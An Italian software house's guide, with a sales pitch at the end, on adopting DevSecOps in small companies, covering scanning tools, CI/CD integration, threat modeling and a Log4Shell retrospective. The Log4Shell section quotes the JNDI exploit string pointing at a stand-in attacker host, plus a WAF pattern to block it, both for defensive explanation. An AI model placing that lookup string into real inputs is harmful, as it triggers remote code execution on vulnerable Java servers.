Quando il 9 dicembre 2021 Chen Zhaojun di Alibaba Cloud Security pubblica i dettagli di CVE-2021-44228, il pianeta software cambia in 48 ore. Log4Shell – una vulnerabilità RCE remote, non autenticata, in una libreria di logging Java usata letteralmente ovunque (Minecraft, AWS, iCloud, Steam, migliaia di gestionali italiani) – costringe ogni CTO, dal Fortune 500 alla PMI con 12 sviluppatori, a porsi la stessa domanda: quanti dei pacchetti che usiamo nei nostri prodotti contengono già una bomba latente? La risposta onesta, nel 99% dei casi, è che non lo sappiamo.
Log4Shell non è un evento isolato. Arriva dopo dodici mesi che hanno ridefinito la security software: l’attacco a SolarWinds (disclosure dicembre 2020, malware Sunburst iniettato nella pipeline di build di Orion), il ransomware REvil su Kaseya VSA di luglio 2021 (1.500 PMI compromesse via MSP), l’esfiltrazione di codice sorgente Microsoft, l’attacco a Codecov, le backdoor in pacchetti npm e PyPI. Il pattern è chiaro: gli attaccanti non bucano più il perimetro, bucano la supply chain del software. E il software di una PMI italiana, anche piccola, è spesso costruito con il 70-90% di codice open source che nessuno ha mai realmente ispezionato.
La risposta che il mercato sta consolidando ha un nome: DevSecOps. Non un tool, non un team, ma un cambio di paradigma che sposta la security a sinistra nella pipeline – dentro l’IDE dello sviluppatore, dentro il pull request, dentro la build – invece di lasciarla in fondo come penetration test prima del rilascio. In questa guida vediamo come una PMI software house italiana può adottare DevSecOps senza assumere un team di security a tempo pieno, con quali tool partire, come integrarli nella CI/CD e quale roadmap a 90 giorni seguire concretamente.
TL;DR – DevSecOps per PMI software in 7 punti
- Shift Left: ogni vulnerabilità trovata in dev costa 60-100 volte meno della stessa trovata in produzione (dati NIST/IBM).
- I quattro pillar minimi: SAST (codice statico), DAST (runtime), SCA (dipendenze open source), secrets scanning.
- Log4Shell CVE-2021-44228 ha mostrato che senza SCA continuo si scopre la vulnerabilità dai giornali, non dalla pipeline.
- Stack consigliato PMI: Snyk Open Source + Semgrep CE + Trivy + GitGuardian + Dependabot, integrati in GitHub Actions o GitLab CI.
- Cultura prima del tooling: security champion in ogni team, no-blame post-mortem, niente “muro” tra dev e security.
- Threat modeling con STRIDE o OWASP Threat Dragon nelle fasi di design, non dopo.
- Roadmap realistica: 90 giorni per mettere in piedi un programma DevSecOps funzionante in una PMI sotto i 50 sviluppatori.

Cosa è DevSecOps: definizione operativa e paradigma “shift left”
DevSecOps è l’estensione della cultura DevOps al dominio della sicurezza: integrare i controlli di security in ogni fase del ciclo di vita del software, automatizzarli e renderli responsabilità condivisa di tutto il team, non solo di una funzione separata. Il DevSecOps Manifesto di Shannon Lietz codifica il principio in una frase: “security as code”. Tutto ciò che riguarda la sicurezza – policy, test, controlli di compliance – deve essere versionato, automatizzato e parte della pipeline come qualunque altro test.
Il concetto operativo cardine è shift left: spostare la verifica della sicurezza il più a sinistra possibile sull’asse temporale del SDLC. Storicamente, la security entrava in scena dopo il code freeze: il pentester arrivava una settimana prima del go-live, trovava 47 vulnerabilità, lo sviluppatore doveva rifare metà del modulo già consegnato. Il NIST SP 800-218 (Secure Software Development Framework, SSDF, pubblicato in versione draft a giugno 2021) e prima ancora il Building Security In Maturity Model hanno mostrato un dato consistente: una vulnerabilità individuata in fase di design costa in media 10-15€ a fix, la stessa trovata in produzione costa 1.500-10.000€ tra rework, downtime e reputazione.
“Shift left” significa concretamente: linter di security nell’IDE (Semgrep, SonarLint), SAST sui pull request, SCA che blocca il merge se una dipendenza ha CVE critici, secrets scanning sui commit, container scanning prima del push del registry. La security smette di essere un evento e diventa un controllo continuo.
Differenza con DevOps e ruolo del security team in PMI
DevOps abbatte il muro tra Dev e Ops: stessa pipeline, stesso linguaggio, infrastructure as code. DevSecOps abbatte anche il terzo muro, quello tra security e il resto. In una PMI italiana sotto i 50 sviluppatori il “security team” spesso non esiste come funzione: la security è un’attività part-time del CTO o di un senior backend. Questo è un problema solo apparentemente: secondo il report State of DevOps 2021 di Puppet, le organizzazioni elite per maturità DevSecOps non hanno team di security più grandi, ma security distribuita.
Il modello pratico per una PMI è il security champion: una persona per squad (anche una in totale, se la squad è una sola) che riceve una formazione di 20-40 ore, possiede gli strumenti, fa code review con focus security, è il punto di contatto verso il CTO. Non sostituisce una vera security function quando l’azienda cresce, ma per il primo anno di adozione DevSecOps è il modello che funziona nelle realtà che ho visto operare.
Pillar 1 – SAST: Static Application Security Testing
Il SAST analizza il codice sorgente senza eseguirlo, alla ricerca di pattern noti di vulnerabilità: SQL injection, XSS, path traversal, deserializzazione insicura, uso di crittografia debole. Lavora a livello di AST (Abstract Syntax Tree), con regole codificate per linguaggio.
I tool dominanti nel mercato sono:
- SonarQube (SonarSource): on-premise, multi-lingua (oltre 25), forte su code quality + security. Edizione Community gratuita.
- Veracode: SaaS, focus enterprise, binary analysis oltre a source. Costoso ma maturo.
- Checkmarx CxSAST: enterprise, supporto a 35+ linguaggi, motore proprietario.
- Snyk Code: SAST relativamente nuovo (lanciato 2020 dopo l’acquisizione di DeepCode), motore semantico veloce, ottimo per pipeline DevOps.
- Semgrep: open source, lanciato da r2c, sintassi delle regole simile al pattern matching su AST. Gratuito in self-hosted, scrivibile in 30 minuti per regole custom. Scelta consigliata per partire in PMI.
- GitLab SAST: bundle nativo di GitLab (Ultimate per CVE feed completo, Free per il motore base), include analyzer per ~20 linguaggi basati su tool OSS (gosec, brakeman, bandit, eslint plugin security).
Errore comune: integrare SAST come job che fa fallire la build su qualsiasi finding. Risultato: 8.000 issue al primo run, sviluppatori che disabilitano il job dopo due giorni. Approccio corretto: triage iniziale (chiudere come “won’t fix” il rumore), poi differential scan – la pipeline fallisce solo se il PR introduce nuove vulnerabilità di severity High o Critical. Tutti i tool seri supportano questa modalità.
Pillar 2 – DAST: Dynamic Application Security Testing
Il DAST testa l’applicazione in esecuzione, attaccandola dall’esterno come farebbe un pentester automatizzato: spara payload, osserva risposte, deduce vulnerabilità. Trova quello che il SAST non può vedere (configurazione errata, problemi di autenticazione/sessione, header HTTP mancanti, vulnerabilità che emergono solo a runtime).
Riferimenti:
- OWASP ZAP (Zed Attack Proxy): open source, gratuito, ottimo come passive scan + active scan in pipeline. Headless, scripting via API, integrazione GitHub Actions ufficiale.
- Burp Suite Professional (PortSwigger): standard de-facto dei pentester, ottima edizione community gratuita, Pro per scan automatici.
- Acunetix e Netsparker (PortSwigger / Invicti): commerciali, motore AcuSensor / Proof-Based Scanning che riduce drasticamente falsi positivi.
Per una PMI il setup tipico è: OWASP ZAP in baseline scan sull’ambiente di staging dopo ogni deploy. Cinque minuti, blocca solo su critici, accumula tutto il resto in dashboard per triage settimanale. Costo zero.
Pillar 3 – SCA: Software Composition Analysis (il pillar che Log4Shell ha reso obbligatorio)

L’SCA cataloga le dipendenze open source del progetto (package.json, pom.xml, requirements.txt, go.mod, composer.json, Gemfile.lock) e le incrocia con i database di CVE pubblici (NVD, GitHub Advisory Database, vendor advisories proprietari). Risultato: una Software Bill of Materials (SBOM) navigabile + alert quando una libreria usata sviluppa una CVE.
Tool principali (situazione fine 2021):
- Snyk Open Source: leader pratico per integrazione DevOps, SaaS con tier gratuito per progetti pubblici e team piccoli. Fix PR automatici.
- WhiteSource (incluso il tool WhiteSource Renovate, ora “Renovate Bot” lato OSS): enterprise, ottimo per policy granulari su licenze + vulnerabilità.
- Black Duck (Synopsys): storico, forte su analisi licenze e M&A audit.
- GitHub Dependabot: nativo GitHub (acquisito 2019), gratis, alert + PR di update automatici. Imprescindibile su GitHub.
- Renovate Bot: open source, più configurabile di Dependabot, gestisce monorepo complessi meglio.
- OWASP Dependency-Check: tool CLI gratuito, motore basato su NVD, integrabile in qualunque CI.
La domanda da farsi dopo Log4Shell: se domani esce CVE-2022-XXXXX su una libreria che usiamo, quanto tempo passa prima che lo sappiamo? Senza SCA continuo la risposta è “quando lo leggiamo sui giornali”. Con Dependabot + Snyk attivi la risposta è “entro 4-24 ore”.
Pillar 4 – Container security

Se la build produce immagini Docker, la security delle dipendenze va estesa al livello immagine: pacchetti di OS dell’immagine base (alpine, debian-slim, ubi), librerie linguaggio installate nei layer, file di configurazione, secrets accidentalmente incollati nel layer.
Tool maturi nel 2021:
- Trivy (Aqua Security): open source, gratuito, velocissimo, scansiona immagini OCI + filesystem + repository git. Default consigliato per PMI: una riga in pipeline.
- Anchore Engine: open source, motore di policy, SBOM in formato SPDX/CycloneDX.
- Clair (originariamente CoreOS, ora Red Hat): motore di scanning usato anche da Quay.
- Aqua Security: piattaforma enterprise (Trivy è il loro tool OSS), copre build/registry/runtime.
- Sysdig Secure: forte sul runtime monitoring (basato su Falco, CNCF) – rileva comportamenti anomali nei container in esecuzione.
- Falco: progetto CNCF (graduated 2018), runtime threat detection per Kubernetes con regole basate su syscalls.
Pratica minima: trivy image my-app:latest --severity HIGH,CRITICAL --exit-code 1 in pipeline. La build fallisce se l’immagine ha CVE critici non ancora patchabili.
Pillar 5 – IaC security
Se l’infrastruttura è codice (Terraform, CloudFormation, Pulumi, Kubernetes manifest, Helm chart, Dockerfile), anche l’infrastruttura ha vulnerabilità statiche: bucket S3 pubblico, security group che apre la porta 22 a 0.0.0.0/0, container Kubernetes con privileged: true, secrets hardcoded in ConfigMap. Sono problemi che si rilevano leggendo il codice IaC prima di applicarlo.
Tool consolidati:
- Checkov (Bridgecrew, acquisita da Palo Alto Networks a marzo 2021): open source, Python, supporta Terraform/CloudFormation/Kubernetes/ARM/Serverless. Standard de-facto IaC scanning.
- tfsec: open source, scritto in Go, specifico per Terraform. Più leggero di Checkov ma meno copertura cross-cloud. Aqua Security ha acquisito il maintainer nel 2021.
- Terrascan: open source di Accurics, motore basato su OPA Rego policies.
- KICS (Keeping Infrastructure as Code Secure): open source di Checkmarx, supporta 12+ tecnologie IaC.
Integrazione tipica: pre-commit hook con Checkov per i file .tf modificati + job in CI sull’intera codebase. Trenta secondi, zero costo.
Pillar 6 – Secrets scanning
Il 60% delle PMI che ho auditato negli ultimi 18 mesi ha almeno una API key, token o password committata in chiaro nello storico Git. Spesso ancora valida. Il secrets scanning previene esattamente questo: pre-commit blocca il commit; server-side scansiona lo storico e alerta su detection.
Tool:
- GitGuardian: SaaS, tier gratuito generoso (≤25 utenti), oltre 350 detector per tipi di secret, monitora repo pubblici dove gli sviluppatori potrebbero leakare per errore.
- TruffleHog: open source, CLI, scansiona storico Git con detector entropy-based + regex specifiche.
- GitHub Secret Scanning: GA da 2020 per partner program (AWS, Stripe, Google, ecc.), esteso ai repo privati nel 2021 (GitHub Advanced Security).
- Bridgecrew Secrets / Checkov: Checkov include un detector secrets nativo.
- gitleaks: open source, simile a TruffleHog, motore di pattern matching configurabile.
Configurazione minima per una PMI: GitGuardian gratuito sull’organizzazione GitHub/GitLab + pre-commit hook con gitleaks obbligatorio in tutti i repository. Costo: zero. Riduzione di rischio: enorme.
CI/CD integration: dove mettere ogni controllo
Il valore di DevSecOps emerge solo se i controlli sono integrati nella pipeline, non in dashboard parallele che nessuno guarda. Schema operativo che funziona su GitHub Actions, GitLab CI, Jenkins, CircleCI:
- Pre-commit hook locale: gitleaks (secrets) + Semgrep –config=auto su file modificati. Blocca il commit se trova issue. Tempo: 2-5 secondi.
- Pull request: SAST differenziale (Semgrep o Snyk Code) + SCA differenziale (Snyk Open Source o Dependabot) + IaC scan (Checkov) sui file modificati. Reporting come PR comment + status check. Blocca merge solo su HIGH/CRITICAL nuovi.
- Main branch / pre-release: SAST full scan + SCA full scan + container scan con Trivy. Risultati in dashboard SonarQube/Snyk. Non blocca pipeline ma genera ticket Jira/GitLab Issue per triage.
- Deploy to staging: DAST baseline scan con OWASP ZAP, max 5 min. Tag CRITICAL → rollback automatico.
- Production runtime: Falco/Sysdig per behavioral detection + dashboard alerts.
Threat modeling: STRIDE, PASTA, OWASP Threat Dragon
Strumenti automatici trovano vulnerabilità note. Il threat modeling trova vulnerabilità di design – quelle che nessuno scanner troverà mai perché non sono nel codice, sono nell’architettura. Si fa prima di scrivere codice, sul whiteboard.
Metodologie consolidate:
- STRIDE (Microsoft, anni ’90 ma ancora il framework dominante): per ogni componente del sistema si analizzano sei categorie di minaccia – Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege.
- PASTA (Process for Attack Simulation and Threat Analysis, formulato da Tony UcedaVélez): più orientato al business, sette stage che partono dagli obiettivi business e arrivano alla simulazione di attacchi.
- OWASP Threat Dragon: tool open source di OWASP per disegnare diagrammi di flusso del dato e annotare le minacce. Punto di partenza pragmatico per una PMI.
In pratica: una sessione di threat modeling di 90 minuti all’inizio di ogni epica/macro-feature. Solo il CTO + tech lead + security champion. Output: lista di minacce prioritizzate + decisioni di design che spesso evitano vulnerabilità che sarebbero costate molto tempo a fixare dopo.
Log4Shell dicembre 2021: lessons learned per PMI
CVE-2021-44228, disclosure 9 dicembre 2021, CVSS 10.0. Una stringa nei log come ${jndi:ldap://attacker.com/a} esegue codice arbitrario remoto sul server che fa il logging. Log4j 2 è in praticamente ogni applicazione Java enterprise. La patch ufficiale Apache (2.15.0) si scopre insufficiente nel weekend successivo (CVE-2021-45046), poi serve la 2.16.0, poi la 2.17.0 per un’altra issue (CVE-2021-45105), poi la 2.17.1.
Cosa hanno fatto le PMI ben preparate nelle prime 72 ore (osservazione diretta da clienti e community):
- SBOM aggiornato: in 15 minuti sanno esattamente quali servizi usano Log4j 2.x.
- Pipeline SCA: alert automatico arriva il 10 dicembre mattina, prima dei TG.
- WAF rule di emergenza che droppa pattern
${jndi:nelle richieste, mentre si applica la patch. - Patch coordinata: aggiornamento Log4j 2.16 entro 24 ore, 2.17.1 entro la settimana, tramite branch hotfix + deploy automatico.
- Post-mortem strutturato: come hanno scoperto? Quante istanze esposte? Indicatori di compromissione nei log?
Cosa hanno fatto le PMI senza DevSecOps: panico per due settimane, ricerca manuale dipendenza per dipendenza, scoperta a posteriori che un microservizio dimenticato era esposto a internet per cinque giorni. Differenza non di skill – di processo.
Cultura DevSecOps: security champions, no-blame, training

Il tooling è il 30%. Il restante 70% è cultura. Tre principi non negoziabili:
Security champion per squad: una persona per team con interesse genuino per la security, formata su OWASP Top 10, threat modeling, tool del proprio stack. Punto di contatto, non collo di bottiglia – fa code review focused security sui PR critici, propaga le pratiche, alza la mano quando serve esperto esterno.
No-blame culture: se uno sviluppatore committa una password e GitGuardian la prende, il post-mortem domanda “come miglioriamo il processo affinché non possa più succedere?”, non “chi è stato?”. Senza questo, gli sviluppatori nascondono i problemi invece di esporli.
Training continuo: 4-8 ore al trimestre per ogni sviluppatore, su OWASP Top 10 (versione 2021, appena pubblicata), CWE/SANS Top 25, secure coding nel linguaggio di riferimento. Piattaforme come Snyk Learn, Secure Code Warrior, PortSwigger Web Security Academy (gratuita) coprono il 90% del fabbisogno.
Errori comuni: tool fatigue, alert fatigue, mancanza di triage
Tre antipattern che vedo costantemente nelle PMI che tentano DevSecOps senza piano:
Tool fatigue: il CTO compra 6 tool diversi (uno per pillar) perché “li hanno tutti”. Risultato: 6 dashboard, 6 set di credenziali, integrazione mai completata su nessuna, sviluppatori che ignorano tutto. Soluzione: partire con 2-3 tool, far funzionare quelli a regime, poi espandere.
Alert fatigue: la pipeline genera 800 alert/settimana, nessuno li legge, nessuno chiude i ticket, dopo un mese il segnale è perso nel rumore. Soluzione: severity gating rigoroso (solo HIGH/CRITICAL inviano notifica), differential scan sui PR, SLA chiari per triage (es. critici < 24h, high < 7 giorni).
Mancanza di triage: nessuno decide cosa è falso positivo, cosa è “won’t fix”, cosa va aperto come ticket. Risultato: dashboard piene di issue stale di sei mesi fa. Soluzione: 30 minuti settimanali di triage con security champion + tech lead, decisione esplicita per ogni nuovo finding.
Caso reale: PMI SaaS B2B italiana, da 28 CVE critici a 3 in 4 mesi
Cliente reale (nome omesso), 18 sviluppatori, prodotto SaaS B2B in Java/Spring Boot + frontend React, deploy su Kubernetes (EKS). Stato di partenza a settembre 2021: nessuno strumento DevSecOps attivo, dipendenze open source non monitorate, immagini Docker built su openjdk:11 “official” mai aggiornate, nessuno scan in pipeline.
Audit iniziale: 28 CVE critici (CVSS ≥ 9.0) e 142 high distribuiti tra dipendenze Maven, immagini base e codice IaC Terraform. Tempo medio tra disclosure CVE upstream e patch applicata: indefinito – nessuno controllava.
Intervento (4 mesi):
- Mese 1: introduzione Snyk Open Source in GitLab CI, baseline scan, triage. Configurazione di Trivy nello step di build immagine Docker, base image migrata da
openjdk:11aeclipse-temurin:11-jre-jammy(manutenuta attivamente). Adozione di Renovate Bot per PR settimanali automatiche di aggiornamento dipendenze. - Mese 2: Semgrep CE integrato come PR check con set di regole curato (security audit + java). Nomina del security champion (senior backend) + formazione 16 ore. GitGuardian attivato a livello org.
- Mese 3: Checkov sui moduli Terraform (~40 risorse AWS), correzione di 11 misconfigurazioni HIGH (security group permissivi, S3 senza encryption-at-rest enforce). Threat modeling session su feature in roadmap.
- Mese 4: OWASP ZAP baseline in staging post-deploy. Adozione dashboard unificata (Snyk per SCA + Container, SonarQube per quality + SAST). Definizione SLA: critici < 48h, high < 14gg.
Risultato a fine 4 mesi: 3 CVE critici residui (tutti in attesa di patch upstream, mitigati a livello WAF/network), 24 high residui, MTTR (mean time to remediate) per critici sceso da indefinito a 36 ore, pipeline failure rate per security check sotto il 4%. Costo licenze tool: ~€280/mese (Snyk Team tier + SonarQube Developer Edition self-hosted). Il resto è tutto OSS.
Roadmap di adozione DevSecOps – 90 giorni per una PMI software
La sequenza che ha funzionato in tutti i deploy che ho visto andare a regime. Adattate i tempi alla dimensione del team, ma non saltate fasi:
Roadmap DevSecOps 90 giorni per PMI software house
Giorni 1-15 – Discovery e baseline
Audit dell’attuale stato: inventario applicazioni, linguaggi, dipendenze. Generazione SBOM iniziale (anche manuale: npm ls, mvn dependency:tree). Lista CVE critici note. Identificazione del security champion. Sessione di formazione iniziale (1 giornata).
Giorni 16-30 – SCA + secrets scanning (i due quick win)
Attivazione di Dependabot (se GitHub) o Renovate Bot + Snyk Open Source su tutti i repository. Attivazione GitGuardian a livello organizzazione. Setup pre-commit hook con gitleaks. Triage iniziale del backlog di vulnerabilità: classificazione critici/high/medium, fix critici nell’iterazione corrente.
Giorni 31-60 – SAST + container security
Integrazione Semgrep (o Snyk Code) nei PR check con set di regole curato. Integrazione Trivy nello step di build delle immagini Docker. Definizione policy “fail on HIGH/CRITICAL new”. Migrazione immagini base verso varianti maintained (eclipse-temurin, distroless, alpine maintenute). Threat modeling pilot su una feature.
Giorni 61-80 – IaC scanning + DAST baseline
Integrazione Checkov sui file Terraform/Kubernetes (anche come pre-commit). Correzione delle misconfigurazioni HIGH. Setup OWASP ZAP baseline scan post-deploy in staging. Definizione SLA formali per remediation per severity.
Giorni 81-90 – Consolidamento, dashboard, processo
Dashboard unificata (Snyk o SonarQube come hub). Settimanale triage 30 minuti security champion + tech lead. Documentazione runbook per CVE disclosure critica (template Log4Shell-ready). Retrospettiva di 90 giorni: cosa ha funzionato, cosa no, roadmap successiva (IAST, runtime security con Falco, ASOC).
FAQ – DevSecOps per PMI software house
Quanto costa avviare un programma DevSecOps in una PMI sotto i 50 sviluppatori?
Lo stack minimo è praticamente gratuito: Dependabot, Semgrep CE, Trivy, OWASP ZAP, Checkov, gitleaks sono tutti OSS. GitGuardian ha tier gratuito fino a 25 utenti. Il costo reale è il tempo: stimate 0.5 FTE per 3-4 mesi per il setup iniziale e poi 4-6 ore/settimana di security champion a regime. Se aggiungete tier paid (Snyk Team, SonarQube Developer) la spesa licenze tipica per una PMI è €200-500/mese.
Possiamo adottare DevSecOps senza un team di security dedicato?
Sì, ed è il caso del 90% delle PMI software italiane. Il modello operativo è il security champion: uno sviluppatore senior per team con formazione mirata (40 ore iniziali), responsabile del processo. Per situazioni complesse (incident response, audit) si fa ricorso a consulenti esterni a chiamata. La gestione quotidiana resta interna.
SAST o DAST: da quale partire se le risorse sono limitate?
Né l’uno né l’altro: partite da SCA + secrets scanning. Sono i due controlli con il rapporto valore/sforzo più alto. Una settimana di setup, copertura immediata di una superficie d’attacco enorme (Log4Shell-style), zero falsi positivi pratici sui critici. SAST viene per secondo, DAST per terzo.
Come gestiamo le vulnerabilità in dipendenze transitive che non possiamo aggiornare direttamente?
Sono il caso più frequente. Strategie possibili: override della versione (Maven <dependencyManagement>, npm overrides, Gradle resolutionStrategy); mitigazione runtime (WAF rule, configurazione che disabilita la feature vulnerabile, ad esempio log4j2.formatMsgNoLookups=true per Log4Shell); switch a fork patchato in emergenza; documentazione del rischio residuo + accettazione formale se nessuna delle precedenti è praticabile.
Quanto rallenta DevSecOps la pipeline CI/CD?
Configurato correttamente, 1-3 minuti aggiuntivi per pipeline. SAST differenziale su file modificati: 30-60s. SCA cache-friendly: 20-40s. Trivy con DB pre-pulled: 30s. DAST baseline scan è asincrono. Se la vostra pipeline aggiunge 15 minuti dopo l’integrazione, qualcosa è configurato male: probabilmente full scan ad ogni PR invece di differential.
Come gestiamo i falsi positivi senza disabilitare i controlli?
Tre meccanismi combinati: ignore file versionato (es. .snyk, .semgrepignore) con motivazione + scadenza obbligatoria; severity gating (failure solo su CRITICAL+HIGH); differential scan sui PR (i PR rumorosi si distinguono dai PR genuinamente problematici). Il triage settimanale di 30 minuti è il momento in cui si chiudono i falsi positivi consolidati.
Cosa cambia con DevSecOps rispetto a un pentest annuale?
Il pentest resta utile come controllo terza parte e per vulnerabilità che richiedono creatività umana. Ma da solo è insufficiente: trova problemi dopo che sono in produzione, con costo di fix molto alto, e fotografa un solo istante. DevSecOps fornisce copertura continua – ogni commit è verificato. Modello consigliato: DevSecOps continuo + pentest annuale focalizzato su business logic e architecture (dove i tool falliscono).
Hai una software house e vuoi mettere in pratica DevSecOps senza errori da principiante?
In Brentasoft costruiamo gestionali e piattaforme SaaS B2B applicando DevSecOps fin dal primo sprint: pipeline GitLab/GitHub con SAST + SCA + container scanning, threat modeling su ogni nuova feature, secure SDLC documentato per audit ISO 27001. Lavoriamo a fianco del vostro team per impostare il processo, scegliere i tool giusti per il vostro stack, formare i security champion.
Vuoi una soluzione su misura per la tua azienda?
Brentasoft sviluppa gestionali, CRM e software personalizzati per PMI italiane. Parliamo del tuo progetto.